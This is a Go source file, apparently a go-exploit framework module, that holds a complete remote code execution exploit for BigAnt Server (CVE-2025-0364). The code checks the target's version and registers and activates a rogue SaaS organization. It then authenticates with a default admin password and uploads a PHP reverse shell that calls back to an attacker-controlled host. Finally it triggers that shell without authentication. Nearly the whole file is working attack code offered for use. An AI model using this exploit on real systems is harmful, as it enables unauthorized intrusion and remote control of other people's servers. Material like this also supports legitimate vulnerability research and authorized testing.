README.md
Rendering markdown...
package main
import (
"fmt"
"regexp"
"strings"
"time"
"github.com/Masterminds/semver"
"github.com/vulncheck-oss/go-exploit"
"github.com/vulncheck-oss/go-exploit/c2"
"github.com/vulncheck-oss/go-exploit/config"
"github.com/vulncheck-oss/go-exploit/output"
"github.com/vulncheck-oss/go-exploit/payload/reverse"
"github.com/vulncheck-oss/go-exploit/protocol"
"github.com/vulncheck-oss/go-exploit/random"
)
type BigAntSaaSRegRCE struct{}
// The ThinkPHP framework used here will ignore anything prepended to the paths.
var (
versionLeakPage = `/index.php/Ms/Public/about.html`
saasRegistrationLanding = `/index.php/Home/Saas/reg_email.html`
saasCaptchaPNG = `/index.php/Home/Public/verify`
saasRegistration = `/index.php/Home/Saas/reg_saas` // POST
saasSetCookie = `/index.php/Home/Login/index.html`
saasGetSSID = `/index.php/Demo/Api/index.html`
saasActivate = `/index.php/Home/Saas/reg_activation` // POST
saasAddinAuth = `/index.php/Addin/Login/login_post.html` // POST
saasAddinGetPath = `/Addin/pan/root.html`
saasAddinUploadPHP = `/index.php/Pan/upload/upload/clientid/1.html?flag=input&isRename=0` // POST multipart
saasAddinTriggerPHP = `/data/%s/pan/%s/%s/%s`
// Example: /data/122C8BFA-BD74-9668-BE31-EA159FB2C437/pan/5769ED19-25A9-57BB-A815-724E1E3B68FC/2025-01-08/test2.php.
)
var (
captchaHashRegex = regexp.MustCompile(`name="__hash__" content="([a-f0-9]+_[a-f0-9]+)" /><meta`)
demoSSIDRegex = regexp.MustCompile(`<input type="text" name="ssid" value="([0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12})">`)
addinRootIDRegex = regexp.MustCompile(`<li .*url="/index.php/Addin/pan/doc/root_id/([0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12})/clientid/.*.html" onclick="openUrl`)
)
func generatePayload(conf *config.Config) (string, bool) {
generated := ""
switch conf.C2Type {
case c2.SSLShellServer:
generated = reverse.PHP.Unflattened(conf.Lhost, conf.Lport, true)
case c2.SimpleShellServer:
generated = reverse.PHP.Unflattened(conf.Lhost, conf.Lport, false)
default:
output.PrintError("Invalid payload")
return generated, false
}
return generated, true
}
func (sploit BigAntSaaSRegRCE) ValidateTarget(conf *config.Config) bool {
// should redirect to /index.php/Home/login/index.html
url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/")
resp, body, ok := protocol.HTTPSendAndRecv("GET", url, "")
if !ok || resp == nil {
return false
}
if resp.StatusCode != 200 || !strings.Contains(body, `<title>BigAnt Admin </title>`) {
return false
}
return true
}
func (sploit BigAntSaaSRegRCE) CheckVersion(conf *config.Config) exploit.VersionCheckType {
url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, versionLeakPage)
resp, body, ok := protocol.HTTPSendAndRecv("GET", url, "")
if !ok || resp == nil {
return exploit.Unknown
}
if resp.StatusCode != 200 || !strings.Contains(body, `<label class="control-label">Operating System</label>`) {
return exploit.Unknown
}
res := regexp.MustCompile(`Version</label>\s+<div class="control-value">\s+(\d+\.\d+\.\d+)\s+</div>`).FindStringSubmatch(body)
if len(res) == 0 {
return exploit.Unknown
}
version := res[1]
exploit.StoreVersion(conf, version)
semVersion, err := semver.NewVersion(version)
if err != nil {
output.PrintError(err.Error())
return exploit.Unknown
}
vulnVersions, err := semver.NewConstraint("<= 5.6.06")
if err != nil {
output.PrintDebug(err.Error())
return exploit.Unknown
}
if !vulnVersions.Check(semVersion) {
return exploit.NotVulnerable
}
return exploit.Vulnerable
}
func getSaaSRegistration(conf *config.Config) (string, string, string, bool) {
url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, saasRegistrationLanding)
// Do not cache, we need fresh requests each time
resp, body, ok := protocol.HTTPSendAndRecv("GET", url, "")
if !ok || resp == nil {
output.PrintfError("RunExploit failed, the required registration page needed for exploitation is not available: resp=%#v body=%q", resp, body)
return "", "", "", false
}
if resp.StatusCode != 200 || !strings.Contains(body, `<div class="form-header">Company Register</div>`) {
output.PrintfError("RunExploit failed, the required registration page needed for exploitation is not available: resp=%#v body=%q", resp, body)
return "", "", "", false
}
matches := captchaHashRegex.FindStringSubmatch(body)
if len(matches) < 2 {
output.PrintError("Could not find CAPTCHA hashes in request")
return "", "", "", false
}
// check above should handle nil case
hash := matches[1]
url = protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, saasCaptchaPNG)
session := ""
for _, cookie := range resp.Cookies() {
if cookie.Name == "PHPSESSID" {
// .String() can't be used since it adds path
session = cookie.Value
}
}
if session == "" {
output.PrintError("Session value is expected")
return "", "", "", false
}
return hash, session, url, true
}
func registerSaaSOrg(name, email, password string, conf *config.Config) bool {
url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, saasRegistration)
headers := map[string]string{
"Cookie": "PHPSESSID=" + conf.GetStringFlag("captcha-session") + ";",
"Content-Type": "application/x-www-form-urlencoded",
}
params := map[string]string{
"saas_showname": name,
"saas_name": name,
"saas_pwd": password,
"org_email": email,
"verify": strings.ToUpper(conf.GetStringFlag("captcha")),
"__hash__": conf.GetStringFlag("captcha-hash"),
}
// Needs double, so just prepend __hash_ twice
paramString := protocol.CreateRequestParams(params) + "&__hash__=" + conf.GetStringFlag("captcha-hash")
resp, _, ok := protocol.HTTPSendAndRecvWithHeaders("POST", url, paramString, headers)
if resp == nil {
return false
}
// Response always returns a 200 without content in my tests and has no indication of success
// beyond some timing differences.
if resp.StatusCode != 200 {
return false
}
return ok
}
func setSessionSaaSOrg(org string, conf *config.Config) (string, bool) {
url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, saasSetCookie)
headers := map[string]string{
"Cookie": "saas=" + org,
}
resp, body, ok := protocol.HTTPSendAndRecvWithHeaders("GET", url, "", headers)
if !ok || resp == nil {
output.PrintfError("RunExploit failed, the required login page needed for exploitation is not available: resp=%#v body=%q", resp, body)
return "", false
}
if resp.StatusCode != 200 {
output.PrintfError("RunExploit failed, the required login page needed for exploitation is not available: resp=%#v body=%q", resp, body)
return "", false
}
for _, cookie := range resp.Cookies() {
if cookie.Name == "PHPSESSID" {
return cookie.Value, true
}
}
return "", false
}
func getSaaSIDFromDemo(session, org string, conf *config.Config) (string, bool) {
url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, saasGetSSID)
headers := map[string]string{
"Cookie": "PHPSESSID=" + session + "; saas=" + org + ";",
}
resp, body, ok := protocol.HTTPSendAndRecvWithHeaders("GET", url, "", headers)
if !ok || !strings.Contains(body, `user/add【新增人员】`) {
output.PrintfError("RunExploit failed, the required demo page needed for exploitation is not available: resp=%#v", resp)
return "", false
}
matches := demoSSIDRegex.FindStringSubmatch(body)
// There will be lots for these (81 in my tests)
if len(matches) < 2 {
output.PrintError("Could not find demo SSID hashes in request")
return "", false
}
return matches[1], true
}
func activateSaaSOrg(session, ssid string, conf *config.Config) bool {
url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, saasActivate)
headers := map[string]string{
"Cookie": "PHPSESSID=" + session + ";",
}
params := map[string]string{
"saas_id": ssid,
}
resp, body, ok := protocol.HTTPSendAndRecvURLEncodedParamsAndHeaders("POST", url, params, headers)
if !ok || resp == nil {
output.PrintfError("RunExploit failed, the org activation failed: resp=%#v", resp)
return false
}
if resp.StatusCode != 200 {
output.PrintfError("RunExploit failed, the org activation failed: resp=%#v", resp)
return false
}
if !strings.Contains(body, `<p class="success">Activate successfully</p>`) {
output.PrintfError("Activation of the organization failed: body=%s", body)
return false
}
return true
}
func authenticateAddin(session, name, password string, conf *config.Config) bool {
url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, saasAddinAuth)
headers := map[string]string{
"Cookie": "PHPSESSID=" + session + "; saas=" + name + ";",
}
params := map[string]string{
"saas": name,
"account": "admin",
"password": password,
"to": "addin",
"referer": "",
"submit": "",
}
resp, body, ok := protocol.HTTPSendAndRecvURLEncodedParamsAndHeaders("POST", url, params, headers)
if !ok || resp == nil {
output.PrintfError("RunExploit failed, the addin authentication failed: resp=%#v", resp)
return false
}
if resp.StatusCode != 200 {
output.PrintfError("RunExploit failed, the addin authentication failed: resp=%#v", resp)
return false
}
if !strings.Contains(body, `<p class="success">登入成功!载入中...</p>`) {
output.PrintfError("RunExploit failed, the addin authentication failed: body=%s", body)
return false
}
return true
}
func getAddinPath(session, org string, conf *config.Config) (string, bool) {
url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, saasAddinGetPath)
headers := map[string]string{
"Cookie": "PHPSESSID=" + session + "; saas=" + org + ";",
}
resp, body, ok := protocol.HTTPSendAndRecvWithHeaders("GET", url, "", headers)
if !ok || resp == nil {
output.PrintfError("RunExploit failed, the addin page visit failed: resp=%#v", resp)
return "", false
}
if resp.StatusCode != 200 {
output.PrintfError("RunExploit failed, the addin page visit failed: resp=%#v", resp)
return "", false
}
matches := addinRootIDRegex.FindStringSubmatch(body)
if len(matches) < 2 {
output.PrintError("Could not find the root UUID for the addin")
return "", false
}
return matches[1], true
}
func uploadPayload(session, name, root, orgSSID, filename, generated string, conf *config.Config) (string, bool) {
url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, saasAddinUploadPHP)
form, w := protocol.MultipartCreateForm()
protocol.MultipartAddFile(w, "file_input[]", filename, "application/x-php", generated)
protocol.MultipartAddField(w, "root_id", root)
protocol.MultipartAddField(w, "folder_id", "0")
protocol.MultipartAddField(w, "folder_path_id", "")
protocol.MultipartAddField(w, "folder_path_name", "")
protocol.MultipartAddField(w, "user_id", "1")
protocol.MultipartAddField(w, "user_name", "System Admin")
protocol.MultipartAddField(w, "saas_id", orgSSID)
protocol.MultipartAddField(w, "saas_dbname", "antdbms_"+name)
protocol.MultipartAddField(w, "client_id", "1")
protocol.MultipartAddField(w, "platform", "phone")
protocol.MultipartAddField(w, "isRename", "1")
w.Close()
headers := map[string]string{
"Content-Type": w.FormDataContentType(),
"Cookie": "PHPSESSID=" + session + "; saas=" + name + ";",
}
resp, body, ok := protocol.HTTPSendAndRecvWithHeaders("POST", url, form.String(), headers)
if !ok || resp == nil {
output.PrintfError("RunExploit failed, the addin upload failed: resp=%#v", resp)
return "", false
}
if resp.StatusCode != 200 {
output.PrintfError("RunExploit failed, the addin upload failed: resp=%#v body=%s", resp, body)
return "", false
}
if strings.Contains(body, filename) {
serverDate, err := time.Parse(time.RFC1123, resp.Header.Get("Date"))
if err != nil {
output.PrintfDebug("Date parse error: %s", err.Error())
}
if serverDate.IsZero() {
serverDate = time.Now()
}
return serverDate.Format("2006-01-02"), true
}
return "", false
}
func triggerPayload(orgSSID, root, date, filename string, conf *config.Config) bool {
url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, fmt.Sprintf(saasAddinTriggerPHP, orgSSID, root, date, filename))
output.PrintfStatus("Requesting final payload at: %s", url)
_, _, ok := protocol.HTTPSendAndRecv("GET", url, "")
return ok
}
func (sploit BigAntSaaSRegRCE) RunExploit(conf *config.Config) bool {
// Steps for exploitation:
//
// 1. Get the CAPTCHA and CSRF tokens
// 2. Solve CAPTCHA manually
// 3. Register a new SaaS organization with 1 & 2 with generated settings, save cookies
// 4. In a new session, request the login page with a `saas=` set to the new organization in 3
// 5. Use the session cookie from 4 with the saas cookie still set to request the demo page that
// displays SaaS UUID
// 6. Activate the registered organization with the UUID in 5
// 7. Authenticate to the "Cloud Drive" page with the `admin:123456` account with the new org
// 8. Get the Cloud Drive root IDs, UUIDs, and path information
// 9. Upload a PHP reverse shell, note the paths and upload dates
// 10. Trigger the PHP shell with the paths without auth
if conf.GetStringFlag("captcha") == "" ||
conf.GetStringFlag("captcha-hash") == "" ||
conf.GetStringFlag("captcha-session") == "" {
output.PrintStatus("CAPTCHA flags not set, retrieving captcha-hash")
hash, session, url, ok := getSaaSRegistration(conf)
if !ok {
return false
}
output.PrintfStatus("Open the following page in a browser and solve the CAPTCHA: %s", url)
output.PrintfStatus("Solve CAPTCHA and pass the following flags to this exploit: `-captcha-hash %s -captcha-session %s -captcha <SOLVED CAPTCHA>`", hash, session)
// Still return false
return false
}
name := strings.ToUpper(random.RandLetters(6))
email := strings.ToLower(random.RandLetters(4) + `@` + random.RandLetters(8) + `.com`)
password := conf.GetStringFlag("password")
if password == "" {
password = random.RandLetters(10)
output.PrintfStatus("Password that will be used for authentication: %s", password)
}
output.PrintfStatus("Registering SaaS org: %s (%s) with password: %s", name, email, password)
ok := registerSaaSOrg(name, email, password, conf)
if !ok {
return false
}
// Sets the SaaS org in a new session, this is necessary to get the UUID of the correct SaaS org
// and if this isn't done it will always set the session to the first SaaS org in the database,
// which is not a retrievable value by name.
output.PrintStatus("Getting new PHP session and pinning the SaaS org to the session")
orgSession, ok := setSessionSaaSOrg(name, conf)
if !ok {
return false
}
output.PrintfStatus("Retrieving org SSID from demo page with session %s", orgSession)
orgSSID, ok := getSaaSIDFromDemo(orgSession, name, conf)
if !ok {
return false
}
output.PrintfStatus("Retrieved SSID for %s: %s", name, orgSSID)
output.PrintStatus("Activating SaaS organization")
ok = activateSaaSOrg(orgSession, orgSSID, conf)
if !ok {
return false
}
output.PrintStatus("Authenticating to the addin SaaS admin")
ok = authenticateAddin(orgSession, name, password, conf)
if !ok {
return false
}
output.PrintStatus("Visiting SaaS addin cloud drive page")
rootID, ok := getAddinPath(orgSession, name, conf)
if !ok {
return false
}
output.PrintfStatus("Got cloud drive root path UUID: %s", rootID)
generated, ok := generatePayload(conf)
if !ok {
return false
}
filename := random.RandLetters(10) + ".php"
output.PrintfStatus("Attempting to upload `%s` to cloud drive addin", filename)
date, ok := uploadPayload(orgSession, name, rootID, orgSSID, filename, generated, conf)
if !ok {
return false
}
output.PrintStatus("Attempting to trigger final payload, timeout is expected after callback")
return triggerPayload(orgSSID, rootID, date, filename, conf)
}
func main() {
supportedC2 := []c2.Impl{
c2.SSLShellServer,
c2.SimpleShellServer,
}
conf := config.NewRemoteExploit(
config.ImplementedFeatures{AssetDetection: true, VersionScanning: true, Exploitation: true},
config.CodeExecution, supportedC2,
"Bigantsoft", []string{"Bigant Server"},
[]string{"cpe:2.3:a:bigantsoft:bigant_server"}, "CVE-2025-0364", "HTTP", 8000)
conf.CreateStringFlag("captcha", "", "The registration page CAPTCHA value, if not set it will be retrieved along with the CAPTCHA image")
conf.CreateStringFlag("captcha-hash", "", "The registration page CAPTCHA hash-id, if not set it will be retrieved along with the CAPTCHA image")
conf.CreateStringFlag("captcha-session", "", "The registration session for CAPTCHA, if not set it will be retrieved along with the CAPTCHA image")
conf.CreateStringFlag("password", "", "The password to set for the created administrator")
sploit := BigAntSaaSRegRCE{}
exploit.RunProgram(sploit, conf)
}